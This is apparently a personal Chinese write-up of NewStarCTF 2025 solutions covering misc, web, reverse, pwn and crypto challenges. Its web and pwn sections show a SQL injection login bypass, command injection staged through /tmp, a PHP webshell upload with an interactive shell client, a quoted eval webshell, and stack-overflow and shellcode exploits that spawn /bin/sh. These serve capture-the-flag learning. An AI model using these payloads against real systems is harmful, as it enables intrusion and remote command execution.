NewStarCTF 2025
每周都打了,但也没怎么打,打着玩的。misc 可能有点参考价值(其实也不多),其他的全是一坨(勿喷)。
Week 1
Misc
我不要革命失败
Challenge
小吉的机械革命笔记本又双叒叕蓝屏了!这次他不想再坐以待毙!他发来了他在C:\Windows\Minidump\的蓝屏文件,请你帮忙分析一下,让机革摆脱舍友的歧视。听说大伙看蓝屏日志都用的是WinDbg,操作也很简单,好像要敲什么!analyze -v?
【难度:简单】
Solution
在 File -> Settings -> Debugging settings -> Default symbol path 填写微软官方的符号服务器地址然后点击 OK:
1 | srv*c:\symbols*http://msdl.microsoft.com/download/symbols |
输入题目描述中的命令:
1 | !analyze -v |
崩溃类型
在日志的最上方,
!analyze -v的输出结果显示:1
2
3
4
5
6
7
8*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
CRITICAL_PROCESS_DIED (ef)
A critical system process died这里的
CRITICAL_PROCESS_DIED就是蓝屏显示的终止代码的文字描述,“A critical system process died”是一种非常严重的错误,Windows 为了保护自身会立刻蓝屏故障进程
继续向下看日志可以找到好几个地方指明了是哪个进程出了问题:
1
PROCESS_NAME: svchost.exe
还有一行更具体的:
1
CRITICAL_PROCESS: svchost.exe
这说明导致这次蓝屏的关键进程就是
svchost.exe
FLAG
1 | flag{CRITICAL_PROCESS_DIED_svchost.exe} |
MISC城邦-压缩术
Challenge
欢迎挑战者们来到压缩术的考验关卡,本关考察压缩术的综合使用,请挑战者们通过6位密码门开始挑战吧!(要想使用压缩术,请先念咒语”abcd…xyz0123…789”)
【难度:简单】
Solution
6位密码门 说明密码长度为 6,abcd...xyz0123...789 意味着密码范围是小写英文字母和数字

根据提示爆破得到压缩密码是 ns2025,得到提示:
1 | 恭喜你,通过了第一道考验,请用其他压缩魔法打开下一扇门吧!(下一扇门明明没有密码,为什么还是要输入密码呢?) |
显然是伪加密,用随波逐流修复一下,解压
这个 key.txt 和压缩包里面的 key.txt 是一模一样的,很基础的明文攻击
FLAG
1 | flag{You_have_mastered_the_zip_magic!} |
EZ_fence
Challenge
rar发现一张残缺的照片竟然需要4颗钉子才能钉住,照片里面似乎藏着秘密。
【难度:简单】
Solution
图片文件尾藏了一个 rar 文件,先提取,发现要密码
图片内的文字是:
1 | rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB |
修复图片宽高后在下方出现以下文字:
1 | 8426513709qazwsxedcrfvtgbyhnujmikop1QWSAERFDTYHGUIKJOPLMNBVCXZ-_ |

如图得到压缩包的解压密码
1 | New5tar_zjuatrojee1mage5eed77yo# |
解压缩拿到 flag
FLAG
1 | flag{y0u_kn0w_ez_fence_tuzh0ng} |
OSINT-天空belong
Challenge
OSINT是指通过公开可获取的信息源收集、分析和利用数据从互联网中提取有价值的信息,并最终将其转化为可操作的情报。
请挑战者们通过OSINT技术,获取你想要的信息吧!flag格式:flag{航班号_当前已经经过的省会城市名称(**市)_所拍摄设备制造商}
【难度:简单】
Solution
先查图片的 exif 信息
1 | ExifTool Version Number : 13.25 |
从 exif 信息中得到的有用信息是:拍摄设备制造商是 Xiaomi,拍摄时间是 2025:08:17 15:03:47
图片是机翼的照片,上面泄露了这架飞机的国籍注册号 B-7198,可以在在线网站上查询到这台飞机在 2025 年 8 月 17 日下午 3 点时的飞行状况:B-7198 Flight Tracking and History 17-Aug-2025 (TNA / ZSJN-CSX / ZGHA) - FlightAware
这趟飞机的航班号是 UQ3574,起飞时间是 01:37PM,计算得到在 03:03PM 时已经起飞了 1h26min,拖动一下时间进度条就能看到当时飞机的位置了

飞机在湖北省上空,省会是 武汉市
FLAG
1 | flag{UQ3574_武汉市_Xiaomi} |
前有文字,所以搜索很有用
Challenge
欢迎来到文字的世界!这里的字符,要么以你未曾想象过的方式排列,要么你根本都“看”不见。但是没有关系,这里是线上赛,我们不断网,尽情冲浪吧!(ps:因为出题人fanbing,track2的隐藏数据 并 没 有 被 压 缩,请不要“-C”)
【难度:困难】
Solution
Track 1:fL4g已经被挤在中间了
1 | 零宽度空格符 (zero-width space) \u200B : 用于较长单词的换行分隔 |
零宽字符隐写+base64解码

flag{you_
Track 2:咏雪
这简直就是在fxxk我的brain.txt 内容如下
1 | here's key |
brainfuck 解码得到 brainfuckisgooooood
咏雪.docx 如下

联想到前面给出了 key brainfuckisgooooood 很容易想到是 snow 隐写,把全部内容提出来放到 咏雪.txt 然后用工具提取(注意这里由于出题人没压缩所以不用加 -C 参数)
1 | snow.exe -p "brainfuckisgooooood" 咏雪.txt |
解摩斯电码
0V3RC4ME_
Track 3:谁多谁少,一算便知
附件太长我就不粘了,思路是提取出字符表然后统计各个字符的出现次数,最后根据字符出现的次数从高到低排序
1 | import collections |
1 | 字符表 (共 95 种): |
cH@1LenG3s}
FLAG
1 | flag{you_0V3RC4ME_cH@1LenG3s} |
Web
multi-headach3
Challenge
什么叫机器人控制了我的头?
【难度:简单】
Solution
访问 / 得到:
1 | Hello! |
接着访问 /robots.txt 得到:
1 | User-agent: * |
接着访问 /hidden.php 重定向回了 /index.php,curl 看看
1 | curl -I https://eci-2zehy0lhdsvatd41dope.cloudeci1.ichunqiu.com/hidden.php |
FLAG
1 | flag{30eb463a-688d-4087-8a14-430cb8987bce} |
strange_login
Challenge
我当然知道1=1了!?
【难度:简单】
Solution
明显是 SQL 注入,还是最简单那种,用户名填 admin' OR '1'='1,密码随便
FLAG
1 | flag{00289c2c-3579-48a9-ba55-369cc187c87b} |
黑客小W的故事(1)
Challenge
NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。
【难度:中等】
Solution
抓包看看,直接POST /hunt,payload 填大点,在控制台发个包试试看
1 | const url = '/hunt'; |
返回了 {"NextLevel":"/Level2_mato"},跳转到第二关
根据下面的提示得知要访问 /talkToMushroom?shipin=mogubaozi,交谈后又知道要用 POST 方法(参数 guding 在上一段对话中提到过),还是在控制台发包
1 | fetch('/talkToMushroom?shipin=mogubaozi', { |
得到新的提示 这样吧,你用 DELETE 的方法把我身上的虫子(chongzi)都弄掉,我就把骨钉给你,还是在控制台发包
1 | fetch('/talkToMushroom?shipin=mogubaozi', { |
再回复一次要骨钉
1 | fetch('/talkToMushroom?shipin=mogubaozi', { |
得到回复 你已经帮我把虫子弄掉了,我把骨钉给你吧,你可以回去找那个大家伙了(/Level2_END),根据提示跳转到 /Level2_END
改 UA 头,CycloneSlash -> CycloneSlash/1.0 -> CycloneSlash/2.0 -> CycloneSlash/2.0 DashSlash/1.0 -> CycloneSlash/2.0 DashSlash/5.0
然后在 /Level4_Sly 得到 flag
FLAG
1 | flag{9a254a84-22bd-4cd2-bfea-b4d608075239} |
宇宙的中心是php
Challenge
所有光线都逃不出去……但我知道这不会难倒你的
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:简单】
Solution
F12 找到 s3kret.php,然后访问,给出了下面的代码:
1 |
|
在控制台发包:
1 | fetch('', { |
在最底下得到 flag
FLAG
1 | flag{75fd9c81-19d0-4a01-951b-d5d45aa2fc9c} |
我真得控制你了
Challenge
小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈
【难度:中等】
Solution
删一下拦截的元素然后按下按钮跳转到 /weak_password.php
弱口令爆破,账密是 admin/111111,下一关来到了 /portal.php
拿到源码:
1 |
|
审计代码可以知道参数 newstar 要满足以下条件:
- 计算结果是 2025
- 只使用允许的字符:数字、*, /, ~, (), 空格
- 不能只包含数字和空格
随便构造一个满足条件的等式就行 /portal.php?newstar=2025/1
FLAG
1 | flag{fad9d5bf-245e-4035-bc19-6da7bf63090f} |
别笑,你也过不了第二关
Challenge
不是哥们,说白了你有啥实力啊,
过关不是简简单单
【难度:简单】
Solution
控制台改变量就行,改两次就过了
1 | score = 9999999; |
FLAG
1 | flag{e466e3ec-c40e-4f61-a2cb-4bcbfdb6e3f0} |
Reverse
Strange Base
Challenge
奇怪?这base64为什么不能一把梭了?
【难度:中等】
Solution
1 | __int64 __fastcall main() |
打开一眼看到密文 T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=,接下来看加密函数 base64_encode
1 | char *__cdecl base64_encode(const unsigned __int8 *bindata, char *base64, int binlength) |
定位到自定义表 aHelloACrqzyB4s
1 | .rdata:0000000140004000 aHelloACrqzyB4s db 'HElLo!A=CrQzy-B4S3|is',27h,'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV' |
拼接得到 HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM
编写解密脚本
1 | def base64_decode(encoded_str, alphabet): |
FLAG
1 | flag{Wh4t_a_cra2y_8as3!!!} |
X0r
Challenge
no xor,no encrypt.
【难度:签到】
Solution
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
编写解题脚本
1 | cipher = "anu`ym7wKLl$P]v3q%D]lHpi" |
FLAG
1 | flag{y0u_Kn0W_b4s1C_xOr} |
Puzzle
Challenge
咦?存在于这个程序中的flag貌似被人打碎了。你能找到flag的碎片并拼凑出完整的flag吗?
【难度:简单】
Solution
part1:Puzzle_Challenge 组合出的字符串
反编译
Puzzle_Challenge(0x1400014ef):1
2
3
4Source = "Do_";
Y0u_ = "Y0u_";
strcpy(Destination, "Do_");
strcat(Destination, Y0u_);part1 = "Do_Y0u_"
part2:提示的函数名
- 反编译
Like_7his_Jig(0x140001450):- 文本:”You found the second part of the flag–The function name.”
part2 = "Like_7his_Jig"
part3:异或还原的数据
反编译
Its_about_part3(0x14000147d):1
2for (i = 0; i < 8; ++i)
v1[i] = __data_start__[i] ^ 0xAD;定位符号:
__data_start__ @ 0x140003000读取前 8 字节:
1
de ed da f2 dd d8 d7 d7
XOR 计算(逐字节 ^ 0xAD):
1
2
3
4
5
6
7
8de ^ ad = 73 ('s')
ed ^ ad = 40 ('@')
da ^ ad = 77 ('w')
f2 ^ ad = 5f ('_')
dd ^ ad = 70 ('p')
d8 ^ ad = 75 ('u')
d7 ^ ad = 7a ('z')
d7 ^ ad = 7a ('z')part3 = "s@w_puzz"
part4:main 中的“奇怪字符串”
- 反编译
main(0x140001543):- 直接打印字符串表中的提示与格式
- 在字符串表中发现:
"1e_Gam3" @ 0x140004000 part4 = "1e_Gam3"
FLAG
1 | flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3} |
EzMyDroid
Challenge
普普通通的安卓逆向,请准备好Jadx
【难度:简单】
Solution

FLAG
1 | flag{@_g00d_st@r7_f0r_ANDROID} |
plzdebugme
Challenge
动态调试是学习逆向必不可少的一部分:)
【难度:中等】
Solution
gpt 一把梭大法
1 | from Crypto.Cipher import AES |
FLAG
1 | flag{It3_D3bugG_T11me!_le3_play} |
Pwn
pwn’s door
Challenge
Key 已经为进入 pwn 的世界做好了充分准备。他找到了可靠的伙伴,猫猫 NetCat 和蟒蛇 Python,还为 Python 配备了强大的工具 pwntools。有了这些,他相信自己一定能顺利通过考验。
【难度:签到】
Solution
1 | from pwn import * |
FLAG
1 | flag{74c648dc-e5d6-4251-a7c4-6ea1e9a13864} |
INTbug
Challenge
整数好像有些奇怪的秘密
【难度:简单】
Solution
1 | unsigned __int64 func() { |
辅助信息(main 与初始化):
1 | int main(...) { |
- 漏洞点:func 中使用了有符号 16 位计数器(
__int16 v1),每次输入正数时自增并检查(++v1 < 0)。 - 当
v1从 32767 溢出为 -32768 时条件成立,打印“You got it!”并执行system("cat flag")。 - 只需连续输入 32768 次正整数(例如“1”)即可触发拿到 flag。
1 | import socket |
FLAG
1 | flag{3bb9a457-4895-41f0-a625-a076a77dd457} |
GNU Debugger
Challenge
进入pwn的世界之后的第一关,了解你的好伙伴gdb
【难度:简单】
这是一个熟悉gdb的好机会,在开始挑战之前,请确保你的电脑已经安装好gdb。
gdb 在绝大部分 Linux 发行版上都已默认安装,你可以在 shell 中输入 gdb 命令进行确认
若你的计算机尚未安装 gdb,则可以使用如下命令进行安装,请自行分辨你所使用的发行版。Debian / Ubuntu:
sudo apt-get install -y gdb若你已经提前配置好环境,安装好了pwndbg之类的插件,我推荐使用原生gdb就好了。
这些插件能够看到的信息更多,但是对于没什么基础的你可能不太合适,我们慢慢来就好。
如果你不知道如何取消使用这些插件的话,去~/.gdbinit这个文件里将”source xxx”之类的语句注释掉吧。题目的流程为:
- 启动靶机获得端口和ip
- 启动程序: ./gdb_challenge (假设你已经在这个程序所在的目录)
- 进行一系列的gdb挑战
- 完成所有挑战,得到flag
ps: 这题暂时用不到ida哦,推荐直接执行程序,跟着流程来就好啦。不过也可以通过逆向工程来得到flag ^^
Solution
1 | ┌──(kali㉿kali)-[~/Desktop] |
FLAG
1 | flag{175e6046-5260-47a3-8ed1-e6265c6791d2} |
overflow
Challenge
咦?程序好像有后门,但是执行不到怎么办呢
【难度:中等】
Solution
main函数: 程序入口点,依次调用initshowtrytry函数: 漏洞利用的核心1
2
3
4
5
6
7
8void __cdecl try()
{
char buffer[256]; // 栈上分配 256 字节的缓冲区
memset(buffer, 0, sizeof(buffer));
puts("Now,Try to exploit it as I done and get the shell!");
puts("Enter your input:");
gets(buffer); // 存在明显的栈溢出漏洞
}该函数使用
gets读取用户输入,gets不对输入长度进行检查,因此当输入超过 256 字节时,就会覆盖栈上buffer相邻的高地址数据,包括保存的RBP寄存器值和函数返回地址。backd00r函数: 攻击目标1
2
3
4
5
6void __cdecl backd00r()
{
puts("Congratulations! You have found the backdoor!");
puts("You can now execute any command you want.");
system("/bin/sh"); // 执行 system("/bin/sh"),提供一个 shell
}该函数提供一个 shell,但程序正常流程中并未调用它,目标就是通过栈溢出劫持程序执行流然后使其跳转到这个函数。
确定偏移量:
在 x86-64 架构下,try函数的栈帧布局大致如下:1
2
3
4高地址 -> [返回地址 (8字节)]
[保存的 RBP (8字节)]
[char buffer[256]] <- gets 写入的起始位置
低地址 -> ...要覆盖返回地址我们需要填充
buffer的 256 字节,再加上保存的RBP的 8 字节,因此覆盖返回地址的偏移量为256 + 8 = 264字节。解决栈对齐问题:
在 x86-64 Linux ABI 中调用system等函数时要求栈指针(RSP)必须是 16 字节对齐的。当maincalltry时,栈已经是不对齐的(16n - 8)。如果我们直接ret到backd00r,栈依然是不对齐的,会导致system调用失败。
为了解决这个问题,我们在跳转到backd00r之前先跳转到一个ret指令,这个ret指令会从栈上弹出一个地址(即backd00r地址),使 RSP 增加 8 字节,从而将栈恢复到 16 字节对齐的状态。构建 Payload:
最终的 payload 结构如下:[填充数据 (264字节)] + [ret Gadget 地址] + [backd00r 函数地址]
在开始编写脚本前还需要确定 ret gadget 和 backd00r 函数的精确地址
检查保护机制:
1
2
3
4
5
6
7
8
9
10
11
12┌──(kali㉿kali)-[~/Desktop]
└─$ checksec ./overflow
[*] '/home/kali/Desktop/overflow'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes关键信息是
No PIE,这意味着程序的内存地址是固定的,我们可以直接使用静态分析得到的地址。使用 pwntools 自动查找:
我们可以利用pwntools库方便地从 ELF 文件中提取所需地址。backd00r地址:elf.symbols['backd00r']retGadget 地址:ROP(elf).find_gadget(['ret']).address
1 | #!/usr/bin/env python3 |
FLAG
1 | flag{2a7429ab-6c6c-4db1-b8bd-8ed029f9c1fa} |
input_function
Challenge
什么?要输入一个函数?
【难度:困难】
Solution
先看主函数
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
mmap:程序使用mmap系统调用来分配一块内存addr:(void *)0x114514,这是一个固定的地址,这意味着无论程序怎么运行,这块内存总是在0x114514这个位置。prot:7。在 Linux 中,内存保护标志是位掩码:PROT_READ(4) |PROT_WRITE(2) |PROT_EXEC(1)。4 + 2 + 1 = 7,所以这块内存的权限是 可读、可写、可执行 (RWX)。
read:程序从标准输入读取最多0x500字节的数据,并直接存放到刚刚mmap出来的buf内存区域中。((void (*)(void))buf)():程序将buf的地址强制转换为一个函数指针,然后直接调用(跳转到)它。
结论:这个程序给了我们一块固定地址、权限为 RWX 的内存,并且允许我们向其中写入任意代码,然后直接跳转过去执行,因此我们只需要提供一段 shellcode 就行。
1 | from pwn import * |
FLAG
1 | flag{fd4083c1-c401-4a1c-845e-01af917f7f21} |
Crypto
唯一表示
Challenge
不要把鸡蛋放在同一个篮子里
【难度:中等】
1 | from sympy.ntheory.modular import crt |
Solution
- 生成素数:脚本首先生成了一个从 2 到 114514 之间的所有素数的列表,这个列表是固定的
- 转换 Flag:脚本生成一个随机的 flag,并使用
bytes_to_long将其转换为一个非常大的整数message_int - 核心函数
fun:- 接收整数
n(也就是message_int)。 - 从一个仅包含素数
[2]的模数列表used_primes开始 - 进入一个循环,不断地从主素数列表
primes中添加新的素数到used_primes里 - 在每次循环中计算
n对当前used_primes列表里所有素数的余数 - 使用中国剩余定理(CRT),根据当前的模数(
used_primes)和余数(remainders)重构一个数 - 当重构出的数
reconstructed恰好等于原始的n时循环终止并返回当前的余数列表
- 接收整数
中国剩余定理(CRT)的核心在于,对于一组互质的模数 M = p1 * p2 * ... * pk,它能找到一个在模 M 意义下唯一的解,sympy.crt 函数返回的是满足条件的最小非负整数解
reconstructed == n 这个条件只有在 n 小于所有模数的乘积 M 时才会成立,如果 n 大于或等于 M,那么 CRT 返回的结果将是 n % M,这显然不等于 n
因此 fun 函数的循环本质上是在寻找一个最小的初始素数集合使得这些素数的乘积刚好大于 message_int
解题步骤如下:
- 脚本的输出
c是最终的余数列表,这个列表的长度len(c)告诉我们脚本总共使用了多少个素数,重新生成和原脚本一模一样的素数列表 - 用于最后一次 CRT 计算的模数(
moduli)就是我们生成的素数列表中的前len(c)个素数 - 现在已知模数(前
len(c)个素数)和余数(列表c),我们可以再次使用 CRT 来精确地解出原始的message_int
1 | from sympy.ntheory.modular import crt |
1 | 使用的素数数量: 54 |
FLAG
1 | flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1} |
小跳蛙
Challenge
青蛙会跳到哪里去呢?
【难度:中等】
1 | banner = """ |
Solution
连接到服务器后会收到一段欢迎信息,其中描述了游戏规则:
一只青蛙在格点
(a, b)上。
- 当
a > b,它会跳到(a-b, b)- 当
a < b,它会跳到(a, b-a)- 当
a = b,它会停留在原地
服务器会连续给出 5 组不同的 (a, b),我们需要计算出青蛙最终停留的位置 (x, y) 并提交
这个规则正是计算最大公约数的经典算法:欧几里得算法(辗转相减法)
也就是说:对于任意给定的 (a, b),青蛙最终停留的位置 (x, y) 就是 (gcd(a, b), gcd(a, b))
1 | from pwn import * |
1 | [*] 第 1 轮: 收到坐标字符串: '5,9' |
FLAG
1 | flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u} |
初识RSA
Challenge
好像很标准,又好像不太标准(md5码怎么解呢?好像有在线工具)
【难度:简单】
1 | from Crypto.Util.number import * |
Solution
- 寻找
key:在 md5在线解密破解 查询得到crypto的 md5 的值为5ae9b7f211e23aac3df5f2b8f3b8eada,因此原始的 6 字节key就是b'crypto' - 寻找
p:脚本中有一个非常关键的线索:P = p ^ (bytes_to_long(key))- XOR(异或)运算有一个特性:
A ^ B = C那么A = C ^ B - 我们现在知道了
key和P的值,所以我们可以通过p = P ^ bytes_to_long(key)来直接计算出p
- XOR(异或)运算有一个特性:
- 寻找
q:脚本中定义了RSA模数n = p^3 * q^2- 既然我们已经通过上一步计算出了
p,我们就可以计算p^3 - 然后我们可以通过
q^2 = n // p^3来得到q的平方 - 最后对
q^2开方就可以得到q
- 既然我们已经通过上一步计算出了
- 计算欧拉函数
phi(n):对于标准的n = p * q,phi(n) = (p-1)*(q-1)。但在这里,n = p^3 * q^2,所以我们需要使用欧拉函数的通用性质:phi(a*b) = phi(a) * phi(b)(当a, b互质时)phi(p^k) = p^k - p^(k-1) = p^(k-1) * (p-1)- 因此,
phi(n) = phi(p^3 * q^2) = phi(p^3) * phi(q^2) phi(p^3) = p^2 * (p-1)phi(q^2) = q * (q-1)- 所以,
phi(n) = (p^2 * (p-1)) * (q * (q-1))
- 计算私钥
d:私钥d是公钥e关于phi(n)的模逆元d * e ≡ 1 (mod phi(n))- 我们可以用
d = pow(e, -1, phi(n))来计算
- 解密消息
m: 有了私钥d我们就可以对密文c进行解密m = pow(c, d, n)
1 | from Crypto.Util.number import bytes_to_long, long_to_bytes |
1 | [+] Found key: b'crypto' |
FLAG
1 | flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!} |
随机数之旅1
Challenge
真正的大中衔接belike:
【难度:简单】
1 | import uuid |
Solution
已知信息:乘数
a,模数p,一个由 LCG 生成的序列hint未知信息:增量
message_int(也就是m),它代表了 flag核心公式:
hint[i+1] = (a * hint[i] + message_int) % p
我们的目标是解出 message_int,由于我们已经知道了 a 和 p,因此这变成了一个非常简单的代数问题
我们可以从 hint 列表中取出任意两个连续的元素,比如 hint[0] 和 hint[1],然后将它们代入核心公式:
hint[1] = (a * hint[0] + message_int) % p
这是一个关于 message_int 的一次同余方程,我们可以直接移项来求解 message_int:
message_int = (hint[1] - a * hint[0]) % p
计算步骤:
- 从
hint列表中取出hint[0]和hint[1] - 计算
a * hint[0] - 从
hint[1]中减去上一步的结果 - 将最终结果对
p取模,得到message_int
1 | from Crypto.Util.number import long_to_bytes |
1 | [*] 成功恢复 message_int: m = 56006392793428429658174402239819000060300656649754549632005403493317815055195551066672537705480730237 |
FLAG
1 | flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6} |
Sagemath使用指哪?
Challenge
使用Sagemath运行程序以获得flag
【难度:简单】
1 | # Sage 9.3 |
Solution
直接用 sage 运行就行
1 | (sage) ┌──(kali㉿kali)-[~/Desktop] |
FLAG
1 | flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee} |
Week 2
Misc
星期四的狂想
Challenge
怎么又是星期四,一到星期四群里就出现了各种稀奇古怪的星期四文案。最近 null 的服务器被人植入了星期四文案,让 null 甚是苦恼。好在他把流量截取下来了,你来帮他看看吧。
【难度:困难】
Solution
攻击链条分析:
- 文件准备: 攻击者先后上传了 chickenvivo50.php (函数库), crazy.php (读取、混淆flag), index.php (攻击入口和触发器)。
- 触发攻击 (Frame 519): 攻击者向
/uploads/?cmd=ThURSDAY发起了一个 POST 请求。- URL参数:cmd=ThURSDAY
- POST内容:file=crazy.php
- 后门执行逻辑:
- 服务器执行
index.php index.php包含了chickenvivo50.phpindex.php通过require_once($_POST["file"])包含了crazy.phpcrazy.php执行后读取服务器根目录下的/flag文件,对其内容进行混淆(随机反转或ROT13加密),然后存入一个全局变量$GLOBALS['ThURSDAY']index.php接着执行code($_GLOBALS[$_GET['cmd']]),即code($GLOBALS['ThURSDAY'])code()函数将混淆后的 flag 进行 Base64 编码,并构造成一个 HTTP Cookie 头- 最后
getFunction("vivo")(映射到 header 函数) 将这个构造好的 Cookie 头发送出去
- 服务器执行
- 数据窃取 (Frame 521): 服务器返回的响应中包含了一个关键的HTTP头
Cookie: token=R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==,这串Base64编码的字符串R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==就是被盗走的数据
分析攻击者上传的 crazy.php 文件(例如在 Frame 224 或 Frame 451 中)的核心混淆逻辑:
1 | // 1. 读取flag并进行Base64编码 |
对 Cookie 中的 token 值 R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ== 进行 Base64解码得到:GaXt3ZhxmZS0KmSGK3EVqIAxAUysHKW9Vest2YpVgC9BTNPZVS==
脚本爆破
1 | import base64 |
FLAG
1 | flag{What_1S_tHuSd4y_Quickly_VIVO50} |
MISC城邦-NewKeyboard
Challenge
欢迎挑战者们来到第二周的Misc考核,本关由手持keyboard的侍卫看守能量核心,请挑战者们通过分析侍卫发出的流量获取最终的flag吧!
【难度:中等】
Solution
我们得到两个.pcapng流量包文件:
abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng:文件名本身告诉了我们流量中按键的顺序,我们可以用它来建立 USB 数据和实际字符之间的映射关系newkeyboard.pcapng:这是目标文件,里面包含了未知的键盘输入
显然本题的任务是利用 abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng 建立映射表,然后根据此提取出 newkeyboard.pcapng 的输入
用 tshark 从两个 pcapng 文件中提取出 usbhid.data 字段的内容:
1 | tshark -r abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng -Y "usbhid.data" -T fields -e usbhid.data > raw_keymap_data.txt |
打开 raw_keymap_data.txt 进行分析,这些数据是没有分隔符的长字符串:
1 | 0100100000000000... // 'a' 按下 |
通过观察,我们可以得出结论:
- 数据是成对出现的“按下”和“释放”
- “释放”事件的数据固定为
0100000000000000... - 按键信息似乎是一种位掩码 ,存储在数据的特定位置
- 带有
Shift的按键,其数据前缀会从0100变为0102
深入分析 raw_keymap_data.txt 后发现在输入需要按 Shift 的特殊字符时会产生一些额外的中间状态数据包,例如:
- 按下
Shift和-(产生_的数据) - 释放
-时Shift键可能还按着,产生了一个只有Shift状态的数据包 - 释放
Shift
手动清洗数据(只保留按下的,把释放按键的给删了,把脏数据给清除了)得到:
1 | 01001000000000000000000000000000000000000000 |
再用脚本映射数据即可
1 | known_chars = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}" |
FLAG
1 | flag{th1s_is_newkeyboard_y0u_get_it!} |
美妙的音乐
Challenge
小明最近发现了一首好听的曲子,他把曲子发给你并邀请你一起欣赏,可是这个曲子似乎有什么不对劲的地方?
【难度:简单】
Solution
找个在线网站打开这个 midi 文件即可 https://signalmidi.app/

好听~
FLAG
1 | flag{thi5_1S_m1Di_5tEG0} |
OSINT-威胁情报
Challenge
城邦受到了未知APT组织的攻击,目前已解除威胁,但留下了恶意文件的hash值。为了以后的安全,请Newstar们进行调查,帮助城邦们完善威胁情报吧!flag格式:flag{apt组织名称_通信C2服务器域名_恶意文件编译时间(年-月-日)};所有字母全部小写
【难度:简单】
1 | hash:2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0 |
Solution
在 微步在线云沙箱 可以找到所有答案(在 ANY.RUN - Malware Sandbox Online 也是)
FLAG
1 | flag{kimsuky_alps.travelmountain.ml_2021-03-31} |
日志分析-不敬者的闯入
Challenge
在抗日战争暨世界反法西斯战争胜利80周年
前夕,城邦的临时工搭建了一个纪念网站,帮助人们恢复记忆。一些不法分子妄图破坏新世界的记忆,企图摧毁网站,幸好临时工及时止损关闭了该网站的服务,才保住了历史的记忆。请挑战者们通过保留的网站日志,帮助临时工找到不敬者的木马威胁,让临时工能保住这份来之不易的工作吧!
【难度:简单】
Solution
搜索 shell 找到好几条类似这样的数据
1 | 171.16.20.55 - - [30/Aug/2025:18:28:22 +0800] "GET /admin/Webshell HTTP/1.1" 200 63 |
(已经把 webshell 写脸上了
访问 /admin/Webshell 就能拿到 flag
1 | <?php eavl($_POST['flag{e4f8406a-0cd4-4483-b288-221b5941ad65}'])?> |
FLAG
1 | flag{e4f8406a-0cd4-4483-b288-221b5941ad65} |
Web
DD加速器
Challenge
D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器…
【难度:简单】
Solution
有命令注入漏洞,例如输入 ;id 就会返回 uid=33(www-data) gid=33(www-data) groups=33(www-data)
读取根目录的 flag 文件发现是 fake flag,然后注意到根目录下面有一个隐藏文件夹(名字是随机生成的),它的名字还很长
这说明后端对 target 参数的长度做了限制,因此将一个长命令分拆成多个短命令,在 /tmp 逐步构建一个脚本文件,最后再执行这个脚本
1 | import requests |
1 | shell> echo -n 'find /' >/tmp/q |
FLAG
1 | flag{1a737c7c-1146-4fd4-a6d9-0bb447802cb0} |
搞点哦润吉吃吃橘
Challenge
Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题……
【难度:简单】
Solution
首先在页面原代码找到泄露的账密 Doro/Doro_nJlPVs_@123
登进去之后有一个小挑战,手动完成很容易超时,直接在控制台发包解题:
1 | async function solveChallengeInConsole() { |
FLAG
1 | flag{5dc03b48-d56b-4225-920b-43fb837b6b39} |
真的是签到诶
Challenge
到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?
【难度:签到】
Solution
给 AI 写了一个交互式的 shell,然后读取根目录的 flag 文件就行
1 | import requests |
FLAG
1 | flag{da78849d-533f-462f-a159-774aeb27df56} |
白帽小K的故事(1)
Challenge
小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!
【难度:困难】
Solution
可以上传文件,猜测是有文件上传漏洞
猜测后端没校验文件类型,直接写一个 Python 脚本发包:
1 | import requests |
然后直接连接 https://.../v1/music?file=shell.php 发现连不上,回来看提示说要看源代码
1 | // TODO: |
用脚本连上去看看
1 | import requests |
在根目录发现 flag
FLAG
1 | flag{717ef2a9-fbcf-42ab-bd1b-3d246c355992} |
小E的管理系统
Challenge
小E开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小E特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的SQL拼接——你能绕过小E的防火墙,拿到数据库里的秘密吗?
【难度:困难】
Solution
Step 1: 确认注入点
最初的探测表明,id 参数存在可执行运算的特征,这是数字型注入的典型标志。
证据:
请求 1:
.../query.php?id=3%7C3(URL编码的3|3)1
